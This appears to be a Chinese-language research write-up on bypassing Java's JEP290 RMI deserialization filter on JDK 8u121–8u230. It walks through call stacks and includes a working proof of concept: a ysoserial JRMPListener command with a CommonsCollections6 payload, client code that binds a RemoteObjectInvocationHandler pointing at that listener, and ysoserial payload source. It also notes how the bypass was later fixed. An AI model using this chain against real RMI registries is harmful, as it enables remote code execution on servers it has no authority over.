JEP290绕过

前言

上文已经分析过 rmi 反序列化的几种攻击方法，这篇文章就学习了一下 JEP290 机制的检测和绕过思路，整个流程是比较清楚的了，就是让 registry 当作 client 端向恶意 jrmp 服务端发起 rmi 请求，此时环境的 filter 为空

JEP290 是什么

实验版本 jdk1.8.0_192

高版本 jdk 引入了 JEP 290 策略，并在 Client 与 Registry 的通信过程中默认设置了 registryFilter, 使得只有在白名单里面的类才能够被反序列化

简单说就是一个防御反序列化攻击​的黑白名单过滤器​

提供一个限制反序列化类的机制，白名单或者黑名单

限制反序列化的深度和复杂度

为 RMI 远程调用对象提供了一个验证类的机制

定义一个可配置的过滤机制，比如可以通过配置 properties 文件的形式来定义过滤器。

官方文档：https://openjdk.java.net/jeps/290

JEP290 支持的版本：

Java™ SE Development Kit 8, Update 121 (JDK 8u121)

Java™ SE Development Kit 7, Update 131 (JDK 7u131)

Java™ SE Development Kit 6, Update 141 (JDK 6u141)

设置 JEP290 的方式有下面两种：

通过 setObjectInputFilter 来设置 filter

直接通过 conf/security/java.properties 文件进行配置

JEP290 流程分析

按照 zjj 的说法，其实就是把 client 与 registry 的通信划分为了两段，第一段是就是 client 与 registry 正常的通信，第二段就是 registry 作为客户端向恶意的 JRMP 服务端发起 RMI 请求，在第二段通信中，是没有进行 JEP290 check 的

上图中，其实是处理请求的代码，但是在第二个断点处存在 lookup 连接，所以如果可以控制一些参数的话，就可以把第二个断点当作入口，在里面进行新的 rmi 通信

JEP290 check 点

首先服务端还是在RegistryImpl_Skel#dispatch​处理远程调用，case 0 对应 bind 操作，var82 对应绑定对象的名称，var87 对应要导出的远程对象，再此对传入的远程调用流进行反序列化

然后再依次步进:

readClassDesc​方法会根据反序列化的类不同进入不同的 case 中，这里注意代理类，

就会进入filterCheck​

当第一次分析的时候，就可以从 logging 这里下断点，因为这个信息我们能从报错中得到，然后根据调用栈再来分析整个 check 流程，调用栈如下

Copy
filterCheck:1250, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)

在filterCheck​的status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,totalObjectRefs, depth, bytesRead));​部分就会调用 check 方法:RegistryImpl#registryFilter​

这里对反序列化的类进行了白名单限制:

Copy
String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID

只要反序列化的类不是白名单中的类，就会返回 REJECTED 操作符，表示序列化流中有不合法的内容，直接抛出异常。

Server 端执行 bind 方法的参数必须是一个实现了 Remote 接口的对象，但是普通的 CC 链最后生成的恶意对象是不满足这个条件的，这时候就需要动态代理来代理 Remote 接口，实际上最后绑定的是动态代理生成的代理对象：

Copy
InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("pwn", remote);

在反序列化的时候，除了对代理对象本身反序列化，也要对其内部字段进行反序列化，类似于一个递归的过程，我们的代理对象本身（它自身实现了被代理的接口，这里是 Remote 接口）是不会触发 check 的，真正触发 check 的其实是内部的 InvocationHandlerImpl

然后可以看上面的调用栈，其实是调用了两次 readObject0 方法的，第一次就是对代理对象本身的反序列化，第二次是对其内部字段进行反序列化。

readSerialData​方法会读取对象内部的字段，然后循环进入 readObject0 方法处理：

最终会因为InvocationHandlerImpl​触发 filter 的 check：

filter 创建过程

在触发 check 的时候，filter 是一个 Lambda 表达式

其会进入RegistryImpl#registryFilter​, 整个调用栈如下

Copy
registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1828757853 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

现在的问题是为什么会进入RegistryImpl#registryFilter​, 先看RegistryImpl​的构造函数

虽然有多个重载的构造方法，核心都是传入了一个 Lambda 表达式作为 filter

RegistryImpl::registryFilter​即info → RegistryImpl.registryFilter(info)​，因为它和 ObjectInputFilter​ 接口的抽象方法签名一致，所以可以直接通过方法引用来简写：

同时在第二种构造函数中，Lambda 表达式以 ObjectInputFilter 接口的形式传入了 UnicastServerRef2 的构造方法中

最后赋值给了该类的 filter 成员变量

同时需要注意到在 Registry 的创建过程中 filter 最终只是作为 UnicastServerRef 的一个成员变量而存在，直到 Registry 在处理请求的时候，在 oldDispatch 方法中才把 filter 赋值给了 ObjectInputStream 的成员变量 serialFilter

调用栈:

Copy
setInternalObjectInputFilter:1219, ObjectInputStream (java.io)
access$000:214, ObjectInputStream (java.io)
setObjectInputFilter:252, ObjectInputStream$1 (java.io)
setObjectInputFilter:296, ObjectInputFilter$Config (sun.misc)
run:423, UnicastServerRef$1 (sun.rmi.server)
run:420, UnicastServerRef$1 (sun.rmi.server)
doPrivileged:-1, AccessController (java.security)
unmarshalCustomCallData:420, UnicastServerRef (sun.rmi.server)
oldDispatch:466, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

Bypass 8u121~8u230

UnicastRef 类

在代码层面来说，我们在执行 bind、lookup 等方法的时候都会先获取到一个 Registry，比如：

Registry registry = LocateRegistry.getRegistry(1099);​

跟进LocateRegistry#getRegistry​方法：

这里的 TCPEndpoint 封装了 Registry 的 host、端口等信息，然后用 UnicastRef 封装了 liveRef。最终获取到的是一个 RegistryImpl_Stub 对象

然后用这个 Stub 对象（客户端）去连接 Registry, 这里以 bind 方法为例

从这个过程来看，通过 UnicastRef 的 newCall 方法发起连接，然后把要查找的对象发送到 Registry。

所以如果我们可以控制 UnicastRef 中 LiveRef 所封装的 host、端口等信息，我们就可以发起一个任意的 JRMP 连接请求，这其实就是 ysoserial 中的 payloads.JRMPClient 的原理。

RemoteObject 类

RemoteObject 是一个抽象类，在后面的 Bypass 思路构造中它会扮演一个很重要的角色。它实现了 Remote 和 Serializable 接口，代表它（及其子类）可以通过白名单的检测，而 Bypass 利用的关键点就是它的 readObject 方法：

测试代码

这里攻击的是register​, 依次执行下面命令和 java 文件

Copy
/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "open -a Calculator"

RMIRegistry

Copy
package bypass_jep290;

import java.rmi.registry.LocateRegistry;

public class RMIRegistry {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("RMI Registry Start");
} catch (Exception e) {
e.printStackTrace();
}
while (true) ;
}
}

DefineClient

Copy
package bypass_jep290;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class DefineClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(1099);
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint("localhost", 3333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
// lookup方法也可以，但需要手动模拟lookup方法的流程
registry.bind("pwn", handler);
}
}

处理请求时反序列化远程调用对象 (有 check)

首先是 client 对 registry 发起了一个 bind 请求，进入到RegistryImpl_Skel#dispatch​的处理逻辑中，在readObject​处反序列化 client 传给 registry 的远程调用对象，在这其中存在 JEP290 的 check 点，调用栈如下:

Copy
filterCheck:1233, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

因为我们反序列化的对象是RemoteObjectInvocationHandler​, 所以绕过了 check, 然后进入RemoteObject​的readObject​方法

在这个方法中会读出序列化流中的 host 和端口信息（就是恶意 JRMP 服务的 host 与端口）然后重新封装成一个 LiveRef 对象，将其存储到当前的 ConnectionInputStream 上，调用 saveRef 方法：

建立了一个 TCPEndpoint 到 ArrayList的映射关系。

调用栈如下:

Copy
readObject:424, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

根据调用栈可以看见，在readOrdinaryObject​会先进入readClassDesc​进行 check, 再进入readSerialData​反序列化对象

releaseInputStream 作为入口进行新的 rmi 通信 (无 check)

再处理完上诉请求之后，releaseInputStream​会释放与RemoteCall​关联的输入流，但是这里会进行 lookup 查找操作

这里的 in 就是上面说到的包装了 LiveRef 对象 ConnectionInputStream 对象，继续跟进:

在这里就会根据之前存储的映射关系，读出序列化流中的 host 和端口信息（就是恶意 JRMP 服务的 host 与端口）, 提取值然后传入DGCClient#registerRefs​方法中：

这里 lookup 其实没干什么，只是封装了下我们的 var0

后续在executeCall()​中this.getInputStream();​建立新的通讯​，然后将接收序列化数据执行反序列化​

调用栈如下:

Copy
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

TCPEndpoint（JRMP 段地址）的赋值

要编写 poc, 就要查看 TCPEndpoint 是如何赋值的，上面已经分析过，是从 RemoteObject 的 readObject 方法开始的，这里再看下需要注意的细节

这里会从序列化数据​提取出ip​和port​, 生成一个TCPEndpoint​赋给var2​, 然后封装成一个LiveRef​传到var6.saveRef()​里

saveRef()​里最后存在到incomingRefTable​这个table​里面，可以回头看利用分析​, 就是从这个变量​取的对象​

现在我们看能否给这个变量赋值，重点代码如下:

Copy
TCPEndpoint var2 = TCPEndpoint.readHostPortFormat(var0);
ObjID var3 = ObjID.read(var0);
LiveRef var5 = new LiveRef(var3, var2, false);

第二段通信关于 check 的细节

第一段通信是 server 向 registry 进行 bind 的，向Register端​进行数据传输

上文已经说了，在 Registry 的创建过程中 filter 最终只是作为 UnicastServerRef 的一个成员变量而存在，直到 Registry 在处理请求的时候，在 oldDispatch 方法中才把 filter 赋值给了 ObjectInputStream 的成员变量 serialFilter, 所以现在的 serialFilter 为 null

同时注意到这里的ConnectionInputStream@953​编号

然后再在在UnicastServerRef#unmarshalCustomCallData()​中给this.serialFilter​设置了值

注意这里编号ConnectionInputStream@953​

然后进入第二段的 jrmp 通信

在建立完上面说到的新的通讯​后，也会到ObjectInputStream​设置serialFilter​, 但是由于没有进入UnicastServerRef#oldDispatch​方法，所以这里的serialFilter​为 null,

编号为ConnectionInputStream@1121​, 然后到StreamRemoteCall#executeCall​方法，反序列化 jrmp 返回的恶意对象

这里也是没有设置serialFilter​的

小结

这里我想表达什么呢，就是分清楚，这种方法为什么可以绕过JEP290​, 第一段通信registry​是和Server端​, 第二段是和JMRP端​。这里ConnectionInputStream​其实就代表着ObjectInputStream​, 而第一段通信中设置的serialFilter​只作用于第一段通信中，及只作用于Register和Server之间的readObject中​！！（JEP290作用域​）

同时 Bypass JEP290 的思路如下：

用 ysoserial 开启一个恶意的 JRMPListener

控制 RemoteObject 中的 UnicastRef 对象，这个对象封装了恶意 Server 的 host、端口等信息。

Client / Server 向 Registry 发送这个 RemoteObject 对象，Registry 触发 readObject 方法之后会向恶意的 JRMP Server 发起连接请求。

后续触发 JRMPListener

Registry 触发反序列化的利用链：

Copy
客户端发送数据 –> UnicastServerRef#dispatch –> UnicastServerRef#oldDispatch –> RegistryImpl_Skle#dispatch (处理请求)
–> RemoteObject#readObject (第一次通信,进入RemoteObject#readObject, 为了经过反序列化可以设置内部的 UnicastRef 对象发起 JRMP 请求连接恶意的 Server)
StreamRemoteCall#releaseInputStream (释放资源处,第二次通信入口)
–> ConnectionInputStream#registerRefs –> DGCClient#registerRefs –> DGCClient$EndpointEntry#registerRefs
–> DGCClient$EndpointEntry#makeDirtyCall –> DGCImpl_Stub#dirty –> UnicastRef#invoke –> (RemoteCall var1) StreamRemoteCall#executeCall –>
ObjectInputSteam#readObject –> “pwn”

yso 的代码

Copy
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
**/
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});

Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}

public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
}
}

待补充 poc 编写思路、看看 ysoserial 的二开

修复

在dirty()​方法中建立通讯​后，给this.filter​设置了一个JEP290​(表达式)

原始

修复后

然后在this.in​的serialFilter​中设置上这个filter​

在dirty()​方法中建立通讯​后，给this.filter​设置了一个JEP290​(表达式)

然后被检测出来